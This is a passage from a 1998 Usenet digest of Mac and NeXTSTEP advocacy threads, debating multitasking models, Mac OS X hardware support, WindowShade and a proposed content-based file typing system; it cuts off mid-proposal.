>> At the expense of their own credibility? I don't see how you can
>> make a case for this. Its like the president of GM driving a Ford,
>> it certainly speaks volumes about confidence in ones's own product.
>No, it's like the owner of Olive Garden eating out at a different
>restaurant. I suppose you would ask what right he has to eat anywhere
>but Olive Garden.
If the owner of any business didn't frequent the competition then
how are they to know if they are still competitive. Burying you
had in the sand (or in the Pasta in the above case) will ultimately
lead to being non-competitive, unless you are SO GOOD that there
is no REAL competition.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 30 Jul 1998 16:36:44 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pq7es$8np$3@news.spacelab.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com> <joe.ragosta-2807980907490001@wil43.dol.net> <MPG.10284cf7951f302b989a3d@news.supernews.com> <id_est-2807982345510001@192.168.1.3> <alex-2907980924110001@castle.webis.net>
alex@webis.net (Alex Kac) wrote:
>In article <id_est-2807982345510001@192.168.1.3>, id_est@interport.net
>(tse_di) wrote:
>: There are various programs that will allow multihoming on a Mac but it
>: would be nice if the added this to the standard Mac TCP stack.
>
>One problem is the terms used. I hear people using the term "multi-homing"
>meaning: 1) I can have TCP/IP going over two interfaces 2) One interface
>has multiple IP addresses.
>
>The MacOS has built in #2. It does not support #1 yet.
#1 is "multihoming".
#2 is "virtual interfaces".
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
Date: Thu, 30 Jul 1998 12:41:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3007981241560001@wil44.dol.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu>
In article <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Wed, 29 Jul 1998, Joe Ragosta wrote:
>
> > In article <35BE0653.4865BF1E@earthlink.net>, jontemple@earthlink.net wrote:
> >
> > > MacOS X uses the same kernel as that used by MkLinux --- Mach 3.0. This
> > > runs on ALL PowerMacs, including NuBus.
> >
> > True. but MkLinux doesn't have Yellow Box, Blue Box, PDF, or the Rhapsody
> > IOkit model. So it's irrelevant to this discussion.
>
> Actually, it's not irrelevant.
>
> The kernel in MkLinux sounds exactly like what Apple describes for Mac OS
> X. The Yellow Box, Blue Box, and PDF all interface with the kernel. They
> do not interface with the hardware.
>
> The work that it would take to get Mac OS X running on older PowerMacs is
> in writing the kernel. These other things you mention do not know and
> do not care what specific hardware they are running on.
But you still have to get YB, BB, PDF and IOkit to work with the new kernel.
>
> > > The statement that OS X uses an "entirely new driver architecture" is
> > > questionable. OS X will be basically what Rhapsody is now --- Mach
> > > kernel with BSD 4.4 UNIX layer. In fact, everything that Apple wants
> > > to add to OS X already runs on PCI Macs.
> >
> > Not true. Try IOkit, PDF graphcs, and Carbon just for starters.
>
> Of which IOKit is the only thing that's relevant to getting Mac OS X to
> run on older machines. Even that is supposed to make it easier to write
> drivers.
But it's not the only thing relevant to testing on older machines.
>
> And this would be for hardware that Apple has _all_ the documentation on
> and which Apple _already_ has experience in writing drivers for.
True. But that doesn't mean that getting it to work and testing it would
be trivial.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 12:34:21 -0400
Organization: Cabletron Systems Inc.
Message-ID: <35C0A08D.28CC1042@ctron.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@new <6poqeb$kbe$1@nnrp1.dejanews.com> <6ppi27$fkb$1@bartlet.df.lth.se>
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Christian Brunschen wrote:
>
> In article <6poqeb$kbe$1@nnrp1.dejanews.com>, <quinlan@my-dejanews.com> wrote:
> >
> >2) Windows 95's worst case (16-bit application blocking preemptive sheduling)
> >is the same as the Mac OS's best case. So unless Windows 95 multitasking
> >always displays worst case performance (which it does not), it is superior to
> >Mac OS multitasking.
>
> Um, no.
>
> The MacOS' best case is when all applications 'play nice', and cooperate -
> thus giving each other time to run. In this case, everything works fine,
> for each application, and for the user.
>
> Win95's best case is that you don't run any misbehaving applications
> (16-bit applications that would block the pre-emtion mechanism), and thus
> each application will get pre-empted when necessary, and thus everything
> works fine for the applications and the user.
>
> MacOS's worst case is if an application misbehaves and does not allow
> other applications to run.
What a minute! There is no perfect world, therefore PMT is a better
_design_ paradigm. Using your kind of argument would be like saying
that if everyone drove safely, cars with seatbelts would be equal in
safety to cars without. Well, people don't all drive safely. In a
CMT system everyone's definition of what are acceptable user response
times can vary - so that even "well behaved" apps can have unacceptable
response time. In addition to this, there seems to me more overhead in
switching window and app contexts in the MacOS, I don't know the exact
cause (it seems like an OS problem since I see this on all apps), but
the
net response is to make these functions seem much slower than on windows
and Unix.
The bottom line is that the MacOS has not kept pace with current
technology.
PMT based systems provide a basis for giving users a more responsive
system
given today's desire for mulitasking app and Oses (and todays
development
constraints).
My own personal experience with SunOS, NT, Win95 and the MacOS, is that
the MacOS has just not kept up technologically in responsiveness, and
this
is directly related to its aging os architecture.
Hopefully MacOS X will be the beginning of the MacOS' evolution to a
modern
architecture. Hell, Unix is older than the MacOS and somehow has
managed to
keep up (and actually, from an internals view, has remained well ahead).
-AJ LaSalle
From: scholl@callisto.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 30 Jul 1998 12:59:43 -0400
Organization: University at Buffalo
Distribution: world
Message-ID: <6pq8pv$f3l$1@callisto.acsu.buffalo.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <macman-2907982115550001@d185d1c66.rochester.rr.com> <6pps8f$fvu$1@callisto.acsu.buffalo.edu> <joe.ragosta-3007981007150001@wil72.dol.net>
NNTP-Posting-User: scholl
Joe Ragosta (joe.ragosta@dol.net) wrote:
: scholl@callisto.acsu.buffalo.edu (Edward P Scholl) wrote:
: > i believe i read on news.com that it was selling quite well-a litlle better
: > than expected actually.
: MS _always_ says that. Heck, they were saying that about NT when it was
: selling at 1/4 of predicted rates.
the article i was referring to wasn't referring to MS comments- it
was analyst predictions.
: The facts are that MS sold about 1 million copies in roughly 5 times as
: long as it took them to sell the same number of copies of Win95. Read the
: numbers, not their interpretation.
and i don't think anyone expected win98 to sell as well as win95, so that
comparison is meaningless.
-ed
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 10:15:40 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pqa9r$s09$1@plo.sierra.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu. <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com>
NNTP-Posting-Date: 30 Jul 1998 17:25:15 GMT
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
<6pq2n2$q44@newsb.netnews.att.com>...
>Christopher Smith <drsmithy@usa.net> wrote:
>>>Don't blame apple blame the *stupid* CDR software.
>>
>>No, I have every right to blame Apple for writing an OS that forced the
>>writers of the CDR program to make it this way so they could (nearly)
>>guarantee not getting coasters.
>
>My personal experience is that it is exactly the same as Windows 95,
>you have to stop everything on Windows 95 so you can (nearly)
>guarantee not getting coasters.
Are you trying to use a high-speed burner, or have a poor interface to the
burner? I burn at 2x on a P-90 over SCSI, while in the background a cpu
intensive app is always running, and never get coasters.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 1998 17:13:53 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pq9kh$8uh$1@news.spacelab.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <joe.ragosta-2907981244410001@wil47.dol.net> <6pnsqt$c9l$1@nnrp1.dejanews.com> <joe.ragosta-2907981552120001@wil38.dol.net> <35BF82F7.64FCFC4B@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> wrote:
>Joe Ragosta wrote:
>> Not true. WinNT has support for a lot fewer peripherals than Win95. And
>> it's twitchy about some that are allegedly supported.
>
> Just to illustrate how insignificant NT's lack of hardware support
> actually is, I will now ask Joe to name a single hardware product that
> NT cannot support.
Haven't looked at one in a while, but HP made some "Windows" color Inkjet
printers that have no brains and depend on the PC to do all of the imaging.
There weren't any NT drivers for them.
No doubt the same thing would apply to "Windows modems" (like the one bundled
with some Dell machines, fer instance), which again depend on the host CPU to
do all the work.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Window Shade: *please* make this go away
Message-ID: <cdoutyEwvwIr.AyA@netcom.com>
Sender: cdouty@netcom13.netcom.com
Organization: Netcom Online Services
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <slrn6rv2oq.qt.jagapen+nospam@billybob.chem.wisc.edu>
Date: Thu, 30 Jul 1998 01:37:39 GMT
In article <slrn6rv2oq.qt.jagapen+nospam@billybob.chem.wisc.edu>,
Jonathan Gapen <jagapen [at] facstaff dot wisc dot edu> wrote:
>Sean Luke wrote:
>>After a reasonable review, I've concluded that Window Shade is the most
>>ill-conceived GUI element for Apple to adopt in the last decade. I love
>>the Mac, but I find it disturbing that this feature even *has* supporters.
>
> I'm surprised that no other GUI design other than Intuition in AmigaOS
>(and amiwm, a work-alike for X11) has taken advantage of a wickedly clever
>little thing called the "depth gadget." It's another window title gadget
>that lets the user depth-arrange windows. Instead of using a window shade
>feature to get around a window that's obscuring others, the AmigaOS user
>can simply use the depth gadget to send the offending window to the back.
Gadzooks! I had forgotten about that; it has been too long since I had a
functioning Amiga. The GUI depth gadget is very nice for ordering your
windows, but it doesn't really address the iconification (to use the
Amigs term) of windows. I really prefer the "minature window" approach
used in NeXTSTEP and most X window managers over either Win*'s start bar
or Windowshades. I realize that some people haven't tried anything else
and going from no functionality to even WindowShades is an improvement,
but WindowShades really do suck.
I generally minimize windows if I want to keep the application visible,
but there are too many open windows cluttering up my view. The point of
"too many" is highly subjective, but my goal is to get the window
completely out of my way without closing the document or application.
WindowShading generally leaves the title bar still in my way thus
frustrating my original purpose of freeing up screen space.
> Much simpler. If OPENSTEP had this feature, I think it'd be nearly
>perfect.
Under OS/mach and earlier you can Cmd-up or Cmd-down to reorder windows.
The Window Server just cycles all of the windows' depths in order. You
can also Cmd-click on a window titlebar to send it to the back. RDR2
retains the cmd-click behavior, but I haven't found the keyboard
shortcuts anywhere. It's not quite the same as Amiga depth gadgets, but
close.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 10:38:49 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3007981038490001@sdn-ar-002casbarp279.dialsprint.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6poqeb$kbe$1@nnrp1.dejanews.com> <6ppi27$fkb$1@bartlet.df.lth.se> <35C0A08D.28CC1042@ctron.com>
In article <35C0A08D.28CC1042@ctron.com>, "A. J. LaSalle"
<alasalle@ctron.com> wrote:
> What a minute! There is no perfect world, therefore PMT is a better
> _design_ paradigm. Using your kind of argument would be like saying
> that if everyone drove safely, cars with seatbelts would be equal in
> safety to cars without. Well, people don't all drive safely.
OHHHH! Good analogy.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 30 Jul 1998 10:59:25 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pqcrr$t86$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net>
NNTP-Posting-Date: 30 Jul 1998 18:08:59 GMT
Joe Ragosta wrote in message ...
>In article <35BF1822.3E94CE81@earthlink.net>, jontemple@earthlink.net
wrote:
>
>Wrong. Win95 is _not_ supported by the vendor on a 386.
Really? Win95 was originally supported on a 386 with 4MB ram. When did MS
change the requirements?
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI: file type recognition
Date: Thu, 30 Jul 1998 20:08:12 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1dczbao.1pm2c5214jvea0N@hoorn21.multiweb.net>
References: <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <1dcrv9l.wtv1wr1idgbl2N@hoorn02.multiweb.net> <Pine.SOL.3.96.980727112448.21442C-100000@ux7.cso.uiuc.edu> <1dcuo10.1rj9fxyx5rw94N@hoorn07.multiweb.net> <Pine.SOL.3.96.980728101529.17041D-100000@ux8.cso.uiuc.edu>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
Pulsar <tokarek@uiuc.edu> wrote:
> Hmm.. well. I still think it's doable (with my total lack of experience in
> such matters ;)
So let's sum it up:
You want the OS to provide a file pattern recognition system for files
that don't have file type codes yet. (like downloaded files)
You want each program to provide plug-in filters so that a file without
an extension or code can be recognized by it's contents.
This could be provided based on the work of DataViz and CanOpener.
Providing that all creators of Carbon and YellowBox programs are forced
to write their own plug-in recognition filter for all files they support
(not counting standard types supported by Apple) before Mac OS X ships.
It seems a nice idea but:
It does not solve the problem with sharing files over the internet as
everthing remains platform dependent.
Working from a non Mac server would get a major bottleneck, as every
file has to be checked every time. (File types are not stored on
NT/Unix, and Mac users are not forced to use extensions (.doc) as the
checking system is supposedly fully transparent to the user)
The plug-in structure means a never-ending cycle of writing plug-ins
that comply with the system file recognizer.
The more I think about it the more it looks like a good MS solution
(better preformance when standardizing on one platform, pretty good
overhead on older systems as your friends start dropping extensions,
thus forcing users to upgrade and standardize)
It's a huge fix opperation on something that can be dealed with at a
much lower, simpler and faster level.
A) A free, open and expandable header format in each file itself, used
by both Apple and MS (and the rest of the world will follow). I heared
OLE (MS) documents already work this way crossplatform.
B) If A fails use invisible extensions in the filenames on Mac OS.
MS already uses extensions in a big way but Mac users don't want to be
forced to see "Project unity" as "Project unity.TX3" or whatever. So why
not over do it and just don't show it, let a Mac file be named
Project_unity..Apwk.TEXT.doc
on the PC while on the Mac you created
Project unity
with AppleWorks (with Apwk as made up creator type) and saved as text
file (TEXT) and .doc created by the OS for crossplatform compatibilty.
If Apple just sets a standard on an expandable extension structure in
filenames it would work instantly on Unix and Win. It may not look very
cool at first on those systems, but they are already used to dealing
with those ugly (much to informative) names and a program that doesn't
show those indentifiers is quickly made.
Dennis SCP
--
[MS Office Assistant: Uw signature is leeg. Weet u zeker dat u niets
nuttigs aan de mensheid heeft mede te delen?]
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 30 Jul 1998 18:47:36 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pqf48$98j$1@news.spacelab.net>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <35BF4F8B.D4C2B55F@ericsson.com> <35bf8c41.0@nnrp1.news.uk.psi.net> <35C09281.7461A700@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> wrote:
[ ... ]
>No...conceptually speaking, MacOS users see finer distinctions in the
>UI. NeXTstep users don't, which is why many widgets are rolled together
>and made roughly androgynous. I've already discussed with you the fact
>that window tiles and applications tiles are the same size and shape,
>are placed in the same screen location, and behave identically.
Excuse me? Window and app tiles do _not_ look or behave identically.
Specificly, window tiles have a black bar at the top of the icon which
contains the title of the window. Double-clicking a window tile un-minimizes
just that window; double-clicking an app tile makes the app active and
unhides any hidden windows associated with that app.
Do they look similiar? Sure.
Do they, to some extent, behave similarly? Yup.
Identical? No.
Is this inconsistent? A better question. Is it inconsistent for file and
folder icons (under MacOS, Windows, etc) to be the same size and behave
similiarly to many operations, like copying, moving, deleting (move to the
trash/recycler/whatever), and yet also have somewhat different behavior (such
as dragging something into them)?
[ ... ]
> Sometimes, if you give them a really hard time, they simply insist that
> the widgets are no different, to pretend that they are is "inconsistent",
References?
You seem to be quite good at making sweeping generalizations, yet you never
seem to be able to back them up with specific quotes. Show me quotes from
two or more experienced NEXTSTEP users who have claimed that app and window
tiles are identical.
> and that the MacOS way, in particular, is tied to a small screen size
> (which makes no sense, in context).
You mean you don't see any connection between the default icon size and the
nominal screen size & resolution that OS was designed for?
[ ... ]
> Back to your object-orientation, Richard: by certain reasoning
>I design separate classes for certain purposes. By that same reasoning
>can I design separate classes for everything? Obviously not. Where it is
>advantages to make reuse of code I will do so. Where it is not, I will
>not. The key is constructing a useful, natural taxonomy by which the
>user's needs are best satisfied, making use of similarities where
>beneficial, and drawing thick lines of distinction where also necessary.
Remarkable-- I agree completely.
[ ... ]
>If it can facilitate patterns of usage to place 'open' and 'quit' in the
>'File' menu, by all means, that's where they should go. That's the whole
>purpose of research, which was the foundation of MacOS.
"Patterns of usage" is a good phrase. Standard menu groups, as well as
standardized accelerator key combinations are indeed very helpful since users
who are familiar with one application are more familiar with other
applications. This is why cross-training is cheaper and more effective for
platforms
The MacOS was the first OS I know of to come up with standard accelerator
keys for all apps (well, barring GS/OS, which contained many MacOS
technologies and was a transition in many ways from the Apple II world to the
Mac), but NEXTSTEP was the second.
Furthermore, NEXTSTEP's InterfaceBuilder provided the first example I'm
familiar with of drag-n-drop-in standardized menu groups in a GUI builder.
> By contrast, NeXTstep was more of an academic exercise in the heads of
> self-righteous and deterministic pricks who thought they had figured
> everything out on paper. "It only makes sense, Mr. Jobs, we designed it
> all according to mathematical formula."
You can do meaningful and worthwhile criticisms; too bad that you can't
refrain from degrading your earlier remarks by descending to this level.
>If you tell a user "hey, did you ever realize that 'quit' doesn't really
>belong in 'file'?" and they say "no, I never realized that", chances are
>that 'quit' is doing just fine in 'file'. That user doesn't really need
>NeXT Nazis telling him he's been doing it "all wrong" for ten years.
NEXTSTEP is an *operating* *system*, for pity's sake!!!
It's nothing but computer software, written by a bunch of programmers who
didn't harm or kill anyone in the process. Associating NeXT with the
atrocities of Nazi Germany is so far out of proportion that there's obviously
something wrong, something unbalanced with your personality.
Do your mental health a favor and go read some other newsgroup where you
don't feel this frenzied, pathological hatred for the primary topic.
Frankly, I doubt many of the readers of this newgroup really want to deal
with this kind of offensive bullshit. I know I don't.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 14:30:35 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980730110600.4469B-100000@ux8.cso.uiuc.edu>
References: <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news> <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2907981014580001@news>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <andyba-ya02408000R2907981014580001@news>
On Wed, 29 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
<snip>
> > Right. We shouldn't consider anything different. There's nothing wrong
> > with what we have. It works perfectly all the time. There is nothing that
> > could possibly be better. What was I thinking.
>
> Hey, if you offer up a new UI proposal, don't start whining when people
> find flaws with it. It's a cop-out to say, "You don't like my proposal, so
> you obviously don't like any new ideas and are perfectly satisfied with
> what you already have." No, I don't think that the present situation is
> perfect. However, I also don't think that your proposal is any better.
You also seem to have an incomplete picture of what I'm proposing.
I will try to address that. What you responded to was a summary that I
gave to Christopher Smith. It was not an attempt at a thorough and
complete explanation.
Instead of responding point by point, I'm going to try to explain what I
envision. Please do not dismiss the entire concept because I fail to
address a potential problem (particularly one that has a solution you can
think of). Pleas read the entire proposal since some things may not
be adequately explaned until later. Also, feel free to suggest
modifications or additions. I will likely miss some things.
Forget for a moment that I have any complaint about type/creator codes. I
will try to make this a more or less complete description of a file typing
system. I will also restate some of the things I have in other posts to
make it somewhat more complete.
The information for the type of a file is contained in the file itself. It
is the contents of a jpeg file or an AIFF that could be used to determine
a file type.
Perhaps (and this is just one idea, there may be other better ideas) the
installed applications could register with the OS all the file types it
can open. By register in this case, I mean an application would provide
the OS with a function that would run through a file (or more likely a
part of a file since most often the entire file doesn't need to be used to
determine its type) and return to the OS if it is of a type that the app
can open.
Each application that can open documents would register this function(s?)
with the OS. This is as much involvement as the apps would have in the
file typing process.
When a document is first created, the OS could keep track of several
things for determining the type. These would be creation date,
modification date, and application that created the document. Note that
the OS has not at this point made an effort to determine the file type.
Right now I would propose three times for determining a file type. The
first would be immediately after a file is created/modified/replaced (I
will bring up the modification part in a moment since you seemed to take
issue with that). The second is in the background when there isn't
anything significant going on where the OS would check unchecked
created/modified/replaced documents. The third is when a document is
being opened for the first time if it hasn't already been checked during
the other two times.
Note that if a file type is already checked, it doesn't need to be checked
again. The OS would pass over any already checked files unless they meet
the criteria of having been created/modified/replaced since the last
checking.
Also note that this requires some sort of type/creator coding. It does not
have to be like the Mac's 4 character for each coding. An application does
not have to register its code with the OS. I'm thinking that the OS would
generate a code (ID) for each unique file type that exists (and perhaps
this would result in multiple identifications for a single file since a
C++ source document is also a text document for example).
The OS should recheck a file that has only been modified... perhaps. The
issue is that something like Microsoft Word can also open/save Wordperfect
documents. If the user opens a Word document and saves it as a Wordperfect
document, the type has changed. The OS should know about this. Probably
the OS would have to be informed of this by the app. If the user has
Wordperfect installed, then the document should open with Wordperfect (if
that's what the user wants). The creation date probably should not change
since it's not exactly a new file... it is just the same document (from a
user perspective) that's just been saved as a different type. However, the
app (Word in this case) should not be telling the OS what the type of the
file is since that would require knowledge of how and where the OS stores
type information. The OS should determine the type if it has changed
because then the OS can decide (perhaps based on a user preference) what
the file type is and which application should open it. (Is this really an
issue? If so how should it be solved if this won't do it?)
Each format that an application supports might be given a kind of
priority. Microsoft Word has a native file format. This is most often
going to be the default save format. It also supports the openning/saving
of other formats. Files in Word's native format should by default be
opened by Word.
For the other formats it supports, there could be several levels. Maybe
there would be an ancillary native format. These would be formats that
were saved in older/different versions of Microsoft Word. If none of these
older versions of Word are installed, then the newest version that
supports the ancillary native format would open it.
Then there would be another level and this is just additional supported
formats. In this category would be the capability of Word to open
WordPerfect documents or ClarisWorks documents. The OS would pass over
Word in favor of an app that supports these as a native or ancillary
native format if any such apps are installed.
In the actual process of typing a file, the OS could possibly use several
tricks to optimize the typing of files.
One would be to look at the file name (perhaps the app function would
look at that). If it has a .jpg extension, it is likely that the
file is a jpeg image. It could go through all the jpeg types, then
perhaps image types, then it could check through all the other types. I'd
have to think a bit about the details of how this would work, but I'm sure
a system could be thought out (that isn't necessarily simple). Perhaps
part of what the app registers would be a list of typical file name
extensions for that type of file if there are any so the OS can use that
as a cue (not the sole indicator, but just a hint).
Also, it could use the "creator" code (whether this is the 4 character Mac
variety or something else doesn't much matter) and bring up that
application's functions first to check the file type.
If the file looks like it is a text variety, there is no need to go
through the jpegs, wavs, gifs, picts and the like before checking the
text types.
The OS should probably check files on removable drives. If I go to
somebody's machine to get some file off it and bring it to mine, the OS
should check what kind of file it is even though the other persons machine
has already done that job. This is because the installed applications are
likely to be different from machine to machine and the application that
should open the file may be different (particularly if the user would
rather it be a different app).
Perhaps there could be a way of associating a code that is unique to that
machine with all the files on that machine. That way if you bring a Zip
drive with dozens of your files to another machine just to copy one new
